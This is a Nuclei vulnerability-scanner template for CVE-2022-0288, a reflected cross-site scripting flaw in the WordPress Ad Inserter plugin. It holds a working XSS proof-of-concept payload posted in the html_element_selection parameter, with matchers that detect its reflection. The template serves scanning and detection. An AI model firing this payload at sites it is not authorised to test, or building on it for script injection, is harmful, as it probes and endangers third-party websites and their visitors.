nuclei-templates/cves/2022/CVE-2022-0288.yaml

id: CVE-2022-0288

info:
  name: Ad Inserter < 2.7.10 - Reflected Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: The plugins do not sanitise and escape the html_element_selection parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting.
  remediation: Fixed in version 2.7.12
  reference:
    - https://wpscan.com/vulnerability/27b64412-33a4-462c-bc45-f81697e4fe42
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.10
    cve-id: CVE-2022-0288
    cwe-id: CWE-79
  tags: cve,cve2022,wordpress,xss

requests:
  - method: POST
    path:
      - "{{BaseURL}}"

    headers:
      Content-Type: "application/x-www-form-urlencoded"

    body: |
        html_element_selection=</script><img+src+onerror=alert(document.domain)>


    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "</script><img src onerror=alert(document.domain)>"
          - "ad-inserter"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"